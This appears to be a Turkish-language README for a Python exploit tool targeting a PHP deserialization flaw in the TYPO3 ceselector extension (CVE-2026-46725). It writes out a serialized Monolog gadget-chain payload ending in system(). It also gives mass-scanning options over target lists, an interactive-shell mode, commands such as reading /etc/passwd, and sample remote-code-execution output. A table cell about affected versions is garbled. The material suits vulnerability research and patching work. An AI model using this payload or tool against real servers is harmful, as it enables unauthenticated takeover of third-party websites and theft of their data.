Share
## https://sploitus.com/exploit?id=D335D6D5-D2B4-53C0-9589-153234FF6637
# CVE-2026-46725 — TYPO3 ceselector Extension RCE

> **PHP Object Injection via `unserialize()` Cookie Bypass → Remote Code Execution**

![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red?style=flat-square)
![CWE](https://img.shields.io/badge/CWE-502%20Deserialization-orange?style=flat-square)
![Auth](https://img.shields.io/badge/Auth-Unauthenticated-red?style=flat-square)
![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square)
![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)

---

## 📋 İçindekiler

- [Zafiyet Hakkında](#-zafiyet-hakkında)
- [Teknik Detaylar](#-teknik-detaylar)
- [Gereksinimler](#-gereksinimler)
- [Kurulum](#-kurulum)
- [Kullanım](#-kullanım)
- [Örnekler](#-örnekler)
- [Çıktı Formatı](#-çıktı-formatı)
- [Nasıl Çalışır](#-nasıl-çalışır)
- [Referanslar](#-referanslar)
- [Yasal Uyarı](#-yasal-uyarı)

---

## 🔍 Zafiyet Hakkında

| Alan | Detay |
|------|-------|
| **CVE ID** | CVE-2026-46725 |
| **Ürün** | TYPO3 ceselector Extension (`mmc/ceselector`) |
| **Etkilenen Sürüm** | ` ⚠️ **Ön Koşul:** Zafiyetin istismar edilebilmesi için TYPO3 yapılandırmasında **Persistent Mode: Static** ayarının aktif olması gerekmektedir.

---

## 🔧 Teknik Detaylar

### Saldırı Akışı

```
1. GET /  →  Sunucu Set-Cookie: T3_ceselector_= döner
2. GET /  →  Cookie: T3_ceselector_=
             └─ PHP unserialize() tetiklenir
             └─ Monolog Gadget Chain çalışır
             └─ system("id") çıktısı response'a yansır
```

### Gadget Chain

```
Monolog\Handler\GroupHandler
  └─ Monolog\Handler\BufferHandler
       └─ Monolog\LogRecord (buffer)
            └─ processors: [get_object_vars, end, system]
                 └─ system("")  ← RCE
```

### Payload Yapısı

```
O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"*handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"*handler";r:3;
      s:13:"*bufferSize";i:1;
      s:14:"*bufferLimit";i:0;
      s:9:"*buffer";a:1:{
        i:0;O:17:"Monolog\LogRecord":2:{
          s:5:"level";E:19:"Monolog\Level:Debug";
          s:5:"mixed";s:2:"id";   ← OS komutu buraya
        }
      }
      s:14:"*initialized";b:1;
      s:13:"*processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";   ← sink
      }
    }
  }
}
```

---

## 📦 Gereksinimler

- Python **3.8+**
- `requests` kütüphanesi

```
Python >= 3.8
requests >= 2.28.0
```

---

## ⚙️ Kurulum

```bash
# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725

# Bağımlılıkları yükle
pip install requests

# veya requirements.txt ile
pip install -r requirements.txt
```

**requirements.txt**
```
requests>=2.28.0
urllib3>=1.26.0
```

---

## 🚀 Kullanım

```
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                      [-t N] [--timeout S] [--proxy URL]
                      [-o FILE] [-v] [--no-color]

options:
Hedef:
  -u, --url URL       Tek hedef URL
  -l, --list FILE     Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD       Çalıştırılacak OS komutu (varsayılan: id)
  -i, --interactive   Başarılı exploit sonrası interaktif shell aç

Tarama:
  -t, --threads N     Thread sayısı (varsayılan: 10)
  --timeout S         Timeout saniye (varsayılan: 15)
  --proxy URL         Proxy (örn: http://127.0.0.1:8080)

Çıktı:
  -o, --output FILE   Sonuç dosyası
  -v, --verbose       Ayrıntılı çıktı
  --no-color          Renksiz çıktı
```

---

## 📌 Örnekler

### Tek Hedef — Temel Kullanım

```bash
python CVE-2026-46725.py -u https://typo3-site.com
```

### Özel Komut Çalıştır

```bash
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
```

### İnteraktif Shell

```bash
python CVE-2026-46725.py -u https://typo3-site.com --interactive
```

```
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
```

### Toplu Tarama

```bash
# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt

# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
```

### Proxy ile (Burp Suite)

```bash
python CVE-2026-46725.py -u https://typo3-site.com \
  --proxy http://127.0.0.1:8080 -v
```

### targets.txt Formatı

```
https://site1.com
https://site2.com
http://site3.com
site4.com
```

---

## 📊 Çıktı Formatı

### Terminal Çıktısı

```
① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3             ✓ Tespit edildi
· ceselector        ✓ Aktif
· Cookie Adı        T3_ceselector_48291
· TYPO3 Sürüm       12.4.3

② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik            PHP Object Injection → Monolog Gadget Chain
· Gadget            Monolog\Handler\GroupHandler
· Sink              system()
· Komut             id

④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
```

### Kayıt Dosyası (`results.txt`)

```
============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================

[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL        : https://typo3-site.com
Sürüm      : 12.4.3
Cookie     : T3_ceselector_48291
Komut      : id
Çıktı      : uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

## 🔬 Nasıl Çalışır

```
┌─────────────────────────────────────────────────────────┐
│                    EXPLOIT AKIŞI                        │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  1. TESPIT                                              │
│     GET /  ──────────────────────► TYPO3 Sunucu        │
│             ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│                                                         │
│  2. PAYLOAD HAZIRLAMA                                   │
│     build_payload("id")                                 │
│     └─ Monolog gadget chain URL-encode edilir           │
│                                                         │
│  3. EXPLOIT                                             │
│     GET /                                               │
│     Cookie: T3_ceselector_XXXXX=O:28:"Monolog...        │
│             ──────────────────────► unserialize()       │
│                                    └─ __destruct()      │
│                                    └─ system("id")      │
│             ◄──── uid=33(www-data) gid=33(www-data) ─── │
│                                                         │
│  4. DOĞRULAMA                                           │
│     regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=...      │
│                                                         │
└─────────────────────────────────────────────────────────┘
```

---

## 📚 Referanslar

- [TYPO3 Security Advisory TYPO3-EXT-SA-2026-001](https://typo3.org/security/advisory/typo3-ext-sa-2026-001)
- [Packagist — mmc/ceselector](https://packagist.org/packages/mmc/ceselector)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)

---

## ⚖️ Yasal Uyarı

> **Bu araç yalnızca eğitim ve yetkili güvenlik testleri amacıyla geliştirilmiştir.**
>
> - Yalnızca **kendi sistemlerinizde** veya **yazılı izin aldığınız** sistemlerde kullanın.
> - İzinsiz sistemlere karşı kullanmak **yasadışıdır** ve hukuki sonuçlar doğurabilir.
> - Geliştirici, bu aracın kötüye kullanımından **sorumlu tutulamaz**.

---



**CVE-2026-46725** | TYPO3 ceselector RCE | Python Exploit